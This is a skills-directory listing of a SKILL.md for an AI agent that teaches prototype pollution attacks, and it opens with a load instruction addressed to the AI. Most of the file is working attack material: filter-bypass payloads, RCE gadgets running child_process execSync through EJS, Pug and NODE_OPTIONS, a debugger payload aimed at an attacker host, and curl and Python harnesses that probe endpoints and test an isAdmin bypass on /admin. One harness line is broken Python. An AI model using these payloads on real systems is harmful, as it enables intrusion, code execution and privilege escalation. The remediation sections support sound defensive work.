Skip to content
Back to skills

Attack Prototype Pollution

ASecurity

Prototype pollution — __proto__ injection, client-side and server-side gadget chains, RCE paths

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securityjavascriptpythonrustgojavashellbashsqlnodenodejs

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill attack-prototype-pollution --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Attack Prototype Pollution?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Attack Prototype Pollution
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-attack-prototype-pollution/badge)](https://www.skillsdirectory.com/skills/harezadmm-attack-prototype-pollution)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: attack-prototype-pollution
description: "Prototype pollution — __proto__ injection, client-side and server-side gadget chains, RCE paths"
category: "web-application"
version: "1.1"
author: "cyberstrike-official"
tags:
  - prototype-pollution
  - javascript
  - nodejs
  - rce
  - attack
tech_stack:
  - nodejs
  - javascript
  - web
cwe_ids:
  - CWE-1321
  - CWE-915
chains_with:
  - attack-xss
  - attack-ssti
prerequisites: []
severity_boost:
  attack-xss: "Client-side pollution plus a DOM gadget = XSS with no HTML injection"
  attack-ssti: "Server-side pollution reaching a template option = RCE"
---

# Prototype Pollution

> **AI LOAD INSTRUCTION**: Prototype pollution is **not** a finding on its own. Injecting
> `__proto__` into an object proves that a merge happened; it does not prove impact. The
> finding requires a **gadget** — a piece of application or library code that reads a
> polluted property and does something dangerous with it (executes a command, sets an option,
> writes a file, escapes a sandbox).
>
> So the discipline is two-stage: **stage one** is proving the pollution reaches
> `Object.prototype`; **stage two** is finding the gadget. Most testers stop at stage one and
> report a low-severity informational, or worse, claim RCE without a gadget.
>
> Split the two contexts carefully, because they are different bugs:
> **client-side pollution** leads to XSS through DOM gadgets, and **server-side pollution**
> leads to RCE through Node.js option-injection gadgets. Test both where both apply — JSON
> APIs are usually server-side, and merge functions in a browser bundle are client-side.

## 0. RELATED ROUTING

- [prototype-pollution](../prototype-pollution/SKILL.md) — the long-form companion; load alongside this file
- [prototype-pollution-advanced](../prototype-pollution-advanced/SKILL.md) — gadget chains in depth
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) — the usual client-side outcome
- [attack-ssti](../attack-ssti/SKILL.md) — an RCE route via polluted template options
- [cmdi-command-injection](../cmdi-command-injection/SKILL.md) — what a server-side gadget achieves
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — proving the gadget, not just the merge

---

## 1. PROVING THE POLLUTION — STAGE ONE

You need an input that reaches a recursive merge, a `set` on a path, or a query-string parser
that recurses.

**The canonical JSON payloads:**

```json
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
{"__proto__": {"isAdmin": true}}
```

**The `constructor.prototype` variant exists because `__proto__` is frequently blocked while
the constructor path is not.** Always send both — they reach the same place through different
keys.

**Query-string and form variants** — many parsers build nested objects from bracketed keys:

```text
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
?__proto__.polluted=yes
?__proto__=&__proto__[polluted]=yes
```

**Confirmation methods, in order of reliability:**

| Method | How |
|---|---|
| **reflected property** | the app echoes an object; your polluted key appears |
| **behaviour change** | a default that should be absent is now present |
| **client-side check** | in a browser console after the pollution: `({}).polluted` → `"yes"` |
| **server-side check** | a subsequent request behaves differently |
| **timing/error oracle** | a polluted option causes an error or a delay |

**Client-side confirmation is trivial and definitive.** Open the console on the target page,
trigger the polluting request, then evaluate:

```javascript
({}).polluted          // → "yes"  means Object.prototype is polluted
Object.prototype.polluted
```

**Server-side confirmation is harder** because you cannot read the object graph. Use an
observable side effect: pollute a property the application reads for a decision
(`isAdmin`, `role`, `status`) and observe whether the decision changes.

**Blocked-key bypasses** — when `__proto__` is filtered, reach the same target:

```json
{"constructor": {"prototype": {"polluted": "yes"}}}
{"__pro__proto__to__": {"polluted": "yes"}}       // depends on the sanitiser
{"p\u0072oto__": {"polluted": "yes"}}              // unicode escape
{"__proto__ ": {"polluted": "yes"}}                // trailing space, if trimmed late
["__proto__"]: {"polluted": "yes"}                 // array-notation parsers
```

**Also test null-prototype objects.** A merge that skips `__proto__` entirely can still be
polluted via `constructor.prototype`, which is why both payloads are mandatory.

---

## 2. CLIENT-SIDE EXPLOITATION — DOM GADGETS

Once `Object.prototype` is polluted in the victim's browser, any code that reads a property
from a missing key gets your value. The gadget is the code that turns that into XSS.

**Gadget classes to look for:**

| Gadget | Mechanism |
|---|---|
| script `src` construction | `script.src = config.url \|\| defaults.url` |
| jQuery / library option defaults | `.extend(true, {}, defaults, user)` then `$(el).html(opts.html)` |
| `innerHTML` from a config object | `el.innerHTML = cfg.template` |
| `document.write` from options | a library that reads a missing option |
| `setAttribute` with a polluted name | attribute injection |
| `eval`/`Function` with a polluted default | direct execution |
| fetch/axios default base URL | requests redirected to the attacker |
| sanitizer configuration | **DOMPurify's `ALLOWED_ATTR` — poisoning it permits `onerror`** |
| `allowScripts` / `allowedTags` flags | disabling sanitisation from a polluted default |

**The DOM-invariance technique** (search for gadgets systematically):

1. Load the page, capture a hash of the DOM.
2. Pollute `Object.prototype` with a set of candidate property names.
3. Reload and re-hash.
4. Any changed property name is a **gadget candidate** — it is being read somewhere.

Automate the candidate list from the JS bundle: extract every property name accessed on an
option or config object, and test them in batches. A change in behaviour identifies the gadget
without reading minified code.

**The sanitizer gadget is the highest-value client-side target.** If DOMPurify or a similar
library is configured from a polluted default, the pollution disables the sanitisation that
would otherwise block the XSS — turning a hardening control into the vulnerability.

**Then chain to a real sink.** The gadget must ultimately reach `innerHTML`, `eval`, or a
`script` element. Report the full chain: pollution → gadget → sink → execution.

---

## 3. SERVER-SIDE EXPLOITATION — RCE GADGETS

Node.js passes option objects to child processes, file operations, and template engines.
Polluting those options is how prototype pollution becomes RCE.

**The standard RCE gadget families:**

| Library / API | Gadget | Effect |
|---|---|---|
| `child_process.spawn` / `execFile` | `shell`, `argv0`, `env`, `NODE_OPTIONS` | command execution |
| `child_process.fork` | `execArgv` | code execution via Node flags |
| `child_process.exec` | `shell` option | choose the shell binary |
| template engines (EJS, Pug, Handlebars) | `outputFunctionName`, `client`, `escapeFunction` | code injection into generated JS |
| `fs` operations | `encoding`, `mode` | file write behaviour — chained |
| `axios` / HTTP clients | `baseURL` | SSRF, credential forwarding |
| `mysql` / DB clients | `host`, `user`, `password` | connection redirection |

**Concrete payloads:**

```json
{"__proto__": {"shell": "/bin/sh", "NODE_OPTIONS": "--require /proc/self/environ"}}
{"__proto__": {"argv0": "console.log(require('child_process').execSync('id').toString())//"}}
{"__proto__": {"NODE_OPTIONS": "--inspect=attacker:9999"}}
{"__proto__": {"execArgv": ["--eval=require('child_process').execSync('id')"]}}
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
```

**The `NODE_OPTIONS` route** is the most reliable modern gadget: Node reads the environment
for `NODE_OPTIONS` when spawning a child, and a polluted `env` object supplies it.

**The EJS `outputFunctionName` gadget** injects directly into the generated template
function — a well-known chain from pollution to RCE.

**You must confirm the gadget exists in the target's dependency tree.** Check the versions from
the response headers, the JS bundle (for the client side), an exposed `package.json`, or the
error pages. **Do not claim RCE from a payload that assumes `child_process` is reachable without
confirming it.**

---

## 4. CHAINING

Prototype pollution is most often an amplifier, not the finding itself.

| Chain | Mechanism |
|---|---|
| pollution → DOM gadget → XSS | client-side execution with no HTML injection needed |
| pollution → authz check | globally set `isAdmin`, `role`, or `verified` |
| pollution → SSRF | poison `baseURL` or a URL default; internal requests follow |
| pollution → RCE | option injection into `child_process` or a template engine |
| pollution → DoS | poison a property read in a hot path; null dereference crashes the process |
| pollution → bypass a sanitiser | poison the allowlist, then deliver the payload it should have blocked |

**The authorization chain is the one most testers miss, and it is the easiest to prove.**
Pollute `isAdmin` or `role`, then make a request that checks it. If the check reads from a
missing property on an object rather than an explicit field, it is bypassed globally for that
process — and sometimes for every subsequent user, because the pollution is global state.

**That global scope is what makes server-side pollution severe:** a single request can alter
the application's behaviour for all users until the process restarts. Verify this by testing
whether a *second*, unrelated session sees the polluted behaviour.

---

## 5. WHAT CONSTITUTES A FINDING

| Finding | Severity | Proof required |
|---|---|---|
| Pollution reaching RCE, demonstrated with command output | **Critical (P1)** | the payload, the gadget, and the command output |
| Pollution to XSS via a DOM gadget, executing in a browser | **High–Critical (P1/P2)** | the chain and a browser PoC |
| Pollution bypassing an authorization decision | **High–Critical (P1/P2)** | the polluted flag and the resulting access |
| Pollution affecting other users' requests | **High (P2)** | the polluted behaviour in a separate session |
| Pollution to SSRF via a default URL | **High (P2)** | the internal request made |
| Pollution confirmed, no gadget found | **Low (P4)** | the pollution proof and a note that no gadget was identified |
| Input rejected or sanitised | **Not a finding** | document the negative result |

**"Polluted but no gadget" is a low finding, honestly reported.** Inflating it to RCE by
assuming an unexploited gadget exists is the most common error in this class.

---

## 6. EVIDENCE STANDARD

| Item | Why |
|---|---|
| the exact polluting request | the input |
| proof the pollution landed — the reflected property or the console check | stage one |
| **the gadget identified, by name and location** | stage two — the part that makes it a finding |
| the library and version containing the gadget | proves the chain is real, not theoretical |
| the observable effect, with output where available | command output, altered DOM, bypassed check |
| for a global effect: the same behaviour in a **second, unrelated session** | proves process-wide scope |
| for a browser chain: the PoC page and a screenshot of execution | proves client-side impact |
| a **control**: the same request without `__proto__` | proves the pollution caused the effect |

**Name the gadget explicitly.** "Prototype pollution in the JSON merge endpoint, gadget
`NODE_OPTIONS` in `child_process.spawn`, leading to command execution" is a complete finding.
"Prototype pollution possible" is not.

**False positives to exclude:**

| Looks like pollution | Actually |
|---|---|
| your key appears in the echoed response | reflection, but check whether it is on `Object.prototype` |
| the pollution is local to your own object | own-property assignment, not pollution |
| you assume a gadget exists in a library you did not verify | theoretical, not a finding |
| the effect does not reproduce in a fresh session | may be a per-request artefact |
| a `400` on the `__proto__` payload | the parser rejected it |
| the client-side check was polluted in your own console only | proves the sink, not the server |
| pollution succeeded but nothing reads the property | low, no gadget |

---

## 7. REMEDIATION REFERENCE

1. **Reject `__proto__` and `constructor`/`prototype` keys in all input** — at the parser boundary. Do not rely on the merge function to be safe; block the keys before they reach it.
2. **Create objects with `Object.create(null)`** — a null-prototype object has no `Object.prototype` to pollute, and this eliminates the entire class for that code path.
3. **Use `Object.freeze(Object.prototype)` at startup** — the strongest single control for server-side Node.js. It prevents any write to the prototype, including from third-party libraries.
4. **Use `Map` for user-keyed data** — `Map` has no prototype chain and no string-key collision surface. Prefer it over plain objects for anything derived from input.
5. **Implement safe merge and path-set helpers** — reject `__proto__`, `constructor`, and `prototype` at every traversal level; do not merely skip the key at the top level, since nested traversal re-enters them.
6. **Never pass a request-derived object directly as options** — construct option objects explicitly from named, validated fields. Option injection is what turns pollution into RCE.
7. **Keep dependencies patched** — most real-world pollution CVEs are in merge and parsing libraries (`lodash`, `minimist`, `qs`, `jquery`). Track advisories for anything that merges input.
8. **Sanitise on the client too** — the same merge patterns exist in bundled front-end code; a polluted `Object.prototype` in the browser is the client-side half of the same bug.
9. **Test the pollution and the gadget separately in CI** — a test asserting `({}).polluted === undefined` after each parsing path catches regressions cheaply, and a gadget inventory keeps the impact assessment current.

---

## 8. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Did `Object.prototype` end up **actually polluted**, read back in a fresh context? | the pollution happened |
| 2 | Was there a **control** - the same request with a benign key, which pollutes nothing? | the merge caused it |
| 3 | Did the pollution reach a **sink that changes behaviour** (auth, a gadget, a template)? | the impact |
| 4 | Did you pollute via **`__proto__`, `constructor.prototype`, or a parser-specific form**? | the vector and the fix |
| 5 | Did the polluted property **survive** into another request or another user's context? | the scope |
| 6 | Did it reach **remote code execution** through a documented gadget chain? | the severity step-up |
| 7 | Did you **restore or restart** the process you polluted? | engagement integrity |

**A read-back showing `({}).polluted === "yes"` in the target's own context is the bar.** A payload that
was accepted by the server is a candidate; the polluted prototype read back is the finding.

---

## 9. EXECUTION PRIMITIVES

Prototype pollution is proven by **a payload that pollutes `Object.prototype` and a read-back that shows
it, with the benign-key control and a sink that behaves differently**. Every block ends at a read-back.

### 9.1 The three write forms and the control

```bash
T="https://target.example"
# control: a benign key, which must change nothing
curl -sS -X POST "$T/api/settings" -H 'Content-Type: application/json' \
  -d '{"theme":{"colour":"blue"}}' -w '\ncontrol %{http_code}\n'
# form 1: __proto__
curl -sS -X POST "$T/api/settings" -H 'Content-Type: application/json' \
  -d '{"__proto__":{"polluted":"yes"}}' -w '\npollute1 %{http_code}\n'
# form 2: constructor.prototype, which bypasses a check that only filters __proto__
curl -sS -X POST "$T/api/settings" -H 'Content-Type: application/json' \
  -d '{"constructor":{"prototype":{"polluted":"yes"}}}' -w '\npollute2 %{http_code}\n'
# form 3: the QUERY-STRING parser, which is a different code path from the JSON parser
curl -sS -X POST "$T/api/settings" -d '__proto__[polluted]=yes' -w '\npollute3 %{http_code}\n'
curl -sS -X POST "$T/api/settings" -d 'constructor[prototype][polluted]=yes' -w '\npollute4 %{http_code}\n'
# THE READ-BACK: an endpoint that returns a fresh object, which is where the pollution shows
curl -sS "$T/api/settings" | head -c 300; echo
curl -sS "$T/api/debug/object" | head -c 300; echo
echo "-> the read-back is the finding. A 200 on the write is NOT."
```

**The read-back is the finding.** A `200` on the write only means the server accepted JSON; the polluted
prototype has to be observable in a response.

### 9.2 The read-back techniques, for when there is no obvious endpoint

```python
# when no endpoint returns a fresh object, use a DIFFERENTIAL: pollute a property the app already reads
# and look for a behaviour change. Each of these is a read-back channel.
import requests
T = "https://target.example"

CHANNELS = {
 # 1) a property the framework reads with a default -> changing it changes the response
 "toJSON":      {"__proto__": {"toJSON": "polluted"}},
 # 2) the status/error fields a framework reads
 "status":      {"__proto__": {"status": 500}},
 "statusCode":  {"__proto__": {"statusCode": 500}},
 # 3) a template's variable resolution
 "escape":      {"__proto__": {"escapeFunction": "x"}},
 # 4) a header-value lookup
 "headers":     {"__proto__": {"headers": {"x-polluted": "yes"}}},
 # 5) the OPTIONS/JSON response shape
 "json spaces": {"__proto__": {"json spaces": 10}},
 "exposed":     {"__proto__": {"exposed": True}},
}
print("%-14s %-6s %-9s %s" % ("channel","code","bytes","changed vs baseline?"))
base = requests.get(f"{T}/api/settings", timeout=10)
for name, payload in CHANNELS.items():
    requests.post(f"{T}/api/settings", json=payload, timeout=10)
    r = requests.get(f"{T}/api/settings", timeout=10)
    diff = "YES" if (r.status_code, len(r.content)) != (base.status_code, len(base.content)) else "no"
    print("%-14s %-6s %-9s %s" % (name, r.status_code, len(r.content), diff))
print()
print("a DIFFERENTIAL is a read-back: the property was merged into the prototype and the app read it.")
print("a per-request read-back that must be done in a FRESH request, because the pollution is global")
```

**A differential is a valid read-back.** Any observable behaviour change after the merge proves the
prototype was modified, and the fresh-request requirement is what makes it global rather than local.

### 9.3 The query-string and multipart parsers, which differ from JSON

```bash
T="https://target.example"
# the query-string parsers in qs, express, and body-parser have different quirks
for P in '__proto__[polluted]=yes' '__proto__.polluted=yes' 'constructor[prototype][polluted]=yes' \
         '__pro__proto__to__[polluted]=yes' '%5f%5fproto%5f%5f[polluted]=yes' \
         '__proto__[polluted]=yes&__proto__[polluted]=yes' \
         'a[__proto__][polluted]=yes' 'a[constructor][prototype][polluted]=yes'; do
  printf '%-52s ' "$P"
  curl -sS -o /dev/null -w '%{http_code}\n' "$T/api/settings?$P"
done
# and the multipart form, which some multipart parsers treat as a nested object
curl -sS -X POST "$T/api/upload" -F '__proto__[polluted]=yes' -o /dev/null -w 'multipart %{http_code}\n'
# and the JSON with an array, which some deep-merge implementations handle differently
curl -sS -X POST "$T/api/settings" -H 'Content-Type: application/json' \
  -d '{"a":[],"__proto__":{"polluted":"yes"}}' -o /dev/null -w 'json-array %{http_code}\n'
curl -sS -X POST "$T/api/settings" -H 'Content-Type: application/json' \
  -d '[{"__proto__":{"polluted":"yes"}}]' -o /dev/null -w 'json-root-array %{http_code}\n'
```

**Each parser has its own bypass set.** A JSON-only test misses the query-string path entirely, and the
report should say which parsers you tested.

### 9.4 The gadget chains, which turn pollution into impact

```python
# a polluted prototype on its own is low severity. The GADGET is what makes it a real finding.
GADGETS = {
 "child_process (Node)": {
   "pollute": '{"__proto__":{"shell":"node","argv0":"node","NODE_OPTIONS":"--require /proc/self/environ","env":{"EVIL":"console.log(require(\'child_process\').execSync(\'id\').toString())"}}}',
   "note":   "a polluted env/shell/argv0 reaches spawn() wherever the app calls it with defaults",
 },
 "EJS template": {
   "pollute": '{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\'child_process\').execSync(\'id\');s"}}',
   "note":   "EJS before 3.1.7 compiles outputFunctionName into the template body",
 },
 "Pug template": {
   "pollute": '{"__proto__":{"block":"{process.mainModule.require(\'child_process\').execSync(\'id\')}"}}',
   "note":   "the pug block/compileDebug gadgets",
 },
 "Handlebars": {
   "pollute": '{"__proto__":{"pending":"{{#with (lookup this \'constructor\')}}{{this}}{{/with}}"}}',
   "note":   "the handlebars compile/escapeExpression gadget family",
 },
 "Express / body-parser": {
   "pollute": '{"__proto__":{"status":500}}',
   "note":   "a polluted status/headers field changes the framework's own response handling",
 },
 "Lodash merge": {
   "pollute": '{"__proto__":{"polluted":"yes"}}',
   "note":   "the sink itself; confirm the version, since 4.17.12 and later block it",
 },
 "Auth bypass": {
   "pollute": '{"__proto__":{"isAdmin":true,"role":"admin","verified":true}}',
   "note":   "the highest-yield gadget: a polluted default permission on an object that lacks the key",
 },
}
for name, g in GADGETS.items():
    print(f"== {name}")
    print(f"   pollute: {g['pollute'][:130]}")
    print(f"   why:     {g['note']}")
print()
print("THE ORDER: auth-bypass gadget first (cheap, safe, high signal), then a template gadget,")
print("then child_process. Report the GADGET, not the pollution - pollution alone is a low finding.")
```

**The auth-bypass gadget is the highest-yield and the safest.** `isAdmin` or `role` merged into
`Object.prototype` changes every object that lacks the key, and it is one request to test.

### 9.5 The end-to-end harness

```bash
python3 - <<'PY'
import requests, json
T = "https://target.example"; S = requests.Session()

def probe(tag, payload, from_qs=False):
    if from_qs:
        r = S.post(f"{T}/api/settings", data=payload, timeout=10)
    else:
        r = S.post(f"{T}/api/settings", json=payload, timeout=10)
    nxt = S.get(f"{T}/api/settings", timeout=10)
    return r.status_code, nxt.status_code, len(nxt.content), nxt.text[:110].replace("\n"," ")

print("%-18s %-6s %-9s %s" % ("case","write","read","read-body"))
CASES = [
 ("control-benign",   {"theme": {"colour": "blue"}}, False),
 ("proto-json",       {"__proto__": {"polluted": "yes"}}, False),
 ("proto-constructor",{"constructor": {"prototype": {"polluted": "yes"}}}, False),
 ("proto-qs",         "__proto__[polluted]=yes", True),
 ("proto-admin",      {"__proto__": {"isAdmin": True, "role": "admin"}}, False),
]
base = S.get(f"{T}/api/settings", timeout=10)
print("%-18s %-6s %-9s %s" % ("BASELINE", "-", len(base.content), base.text[:110].replace("\n"," ")))
for name, payload, qs in CASES:
    w, rc, n, body = probe(name, payload, qs)
    print("%-18s %-6s %-9s %s" % (name, w, n, body))
print()
print("=== THE AUTH-BYPASS GADGET ===")
r = S.get(f"{T}/admin", timeout=10, allow_redirects=False)
print("  GET /admin after polluting isAdmin ->", r.status_code, r.headers.get("Location",""))
print("  "^"".ljust(2), "a 200 (rather than 401/302) after the pollution is the impact")
print()
print("FINDING = a read-back showing a changed object, or an auth/behaviour change after the merge,")
print("          with the benign-key control unchanged.")
print("CLEANUP  = restart the process or remove the property; state which, and when.")
PY
```

**A read-back plus a behaviour change, with the benign control.** Pollution with no observable
consequence is a low-severity note, and the report should label it as one.

---

## 10. EVIDENCE STANDARD — POLLUTION ARTEFACTS

| Item | Why |
|---|---|
| The **benign-key control result** | proves the merge target caused it |
| The **polluting payload and the parser it used** | reproducibility |
| The **read-back** showing the changed object or behaviour | the pollution, proven |
| The **gadget chain used**, with its sink | converts a low-severity merge into the real finding |
| The **auth or behaviour change** (a `200` on `/admin`, a changed response shape) | the impact |
| Whether the pollution **persisted across requests and users** | the scope |
| The **framework and library versions** (Lodash, EJS, Pug, Express) | whether the gadget applies |
| The **parser paths tested** (JSON, query string, multipart) | the coverage claim |
| The **cleanup**: the restart or the removal, and the verification | engagement integrity |
| Confirmation that **no production process was left polluted** | the operational risk |

Report the **read-back and the gadget**: "`POST /api/settings` with `{"theme":{"colour":"blue"}}` leaves
`GET /api/settings` unchanged, which is the control. The same request with
`{"__proto__":{"polluted":"yes"}}` returns `200`, and a subsequent `GET /api/settings` in a fresh request
returns a JSON body containing `"polluted":"yes"` on an object that never received the key, which is the
read-back. `{"__proto__":{"isAdmin":true,"role":"admin"}}` then made `GET /admin` return `200` with the
administrative page instead of the `302` to `/login` it returned before, which is the impact; the same
payload sent as `application/x-www-form-urlencoded` with `__proto__[polluted]=yes` also polluted, which
shows the query-string parser has the same defect. The application's package manifest pins
`lodash@4.17.15`, which is before the fix", never "the application allows prototype pollution".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A `200` on the polluting request, with **no read-back** | the server accepted JSON; nothing was merged into a prototype |
| A property set on **the object you sent**, not on the prototype | that is normal property assignment |
| A **response body echoing** your `__proto__` key | reflection, not pollution |
| A pollution demonstrated **only in a local Node REPL** | tests your environment, not the target |
| A pollution that **did not survive the request** | local to your request object, so no shared impact |
| A gadget you **read about** but did not execute | an untested hypothesis |
| A **client-side** prototype pollution in the victim's browser only | a different class; report it as XSS-adjacent |
| A differential explained by a **random or time-varying response** | verify with the benign control and a repeat |
| A finding on a **Lodash version that already blocks** the merge | verify the version before claiming the gadget |
| A pollution that required **an admin-only endpoint** | prove the privilege was not already required |
| A finding where **the process was left polluted** and you did not say so | an unreported operational risk |

**A read-back plus a gadget, with the benign control.** Accepted payloads and echoed keys are the two
ways this family produces non-findings.

---

## 11. REMEDIATION REFERENCE — MERGE HARDENING

1. **Reject `__proto__`, `constructor`, and `prototype` as keys at every input boundary, recursively and after decoding** - it addresses the entire write surface, and the check must run on the parsed structure rather than the raw string.
2. **Use `Object.create(null)` for any object built from user input, or a `Map`, so it has no prototype to pollute** - it removes the target of the attack.
3. **Prefer a `structuredClone` or an explicit schema-based parse over a deep merge for user input** - a merge is the sink, and removing it removes the defect.
4. **Apply `Object.freeze(Object.prototype)` at startup in Node applications, or run with `--disable-proto=throw`** - it converts a successful pollution into a crash, which is detectable and harmless.
5. **Keep the deep-merge library patched; Lodash 4.17.12 and later reject the `__proto__` key, and the same fix has landed across the ecosystem** - the version is frequently the whole story.
6. **Audit the application for the gadget patterns: `options` objects passed to `spawn`, template `outputFunctionName`/`block`, and any framework option read with a default** - the gadget decides the severity.
7. **Do not read an authorization decision from a property that could be inherited; use `Object.hasOwn` or an explicit allowlist** - the auth-bypass gadget depends on an inherited default.
8. **Validate and type-check the input before merging, and never merge an arbitrary JSON body into an existing object** - a schema with `additionalProperties: false` removes the key surface.
9. **Restrict the query-string parser's depth and array notation, and disable the `allowPrototypes` option where the parser offers it** - the query-string path has its own settings.
10. **Log the request body of any merge endpoint and alert on `__proto__`, `constructor`, or `prototype` appearing in it** - the attack is trivially detectable and it is a single string match.
11. **Add a startup and per-request assertion that `({}).polluted === undefined` for a sentinel key, and alert on failure** - it detects a successful pollution in production without needing to have predicted the gadget.

---

## 12. RELATED SIBLINGS - LOAD TOGETHER

- [prototype-pollution](../prototype-pollution/SKILL.md) - the full technique reference
- [prototype-pollution-advanced](../prototype-pollution-advanced/SKILL.md) - the gadget chains and the parser bypasses in depth
- [type-juggling](../type-juggling/SKILL.md) - the other JavaScript-specific trust defect
- [deserialization-insecure](../deserialization-insecure/SKILL.md) - the sibling sink that also turns an input into a gadget
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) - the client-side variant's destination

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.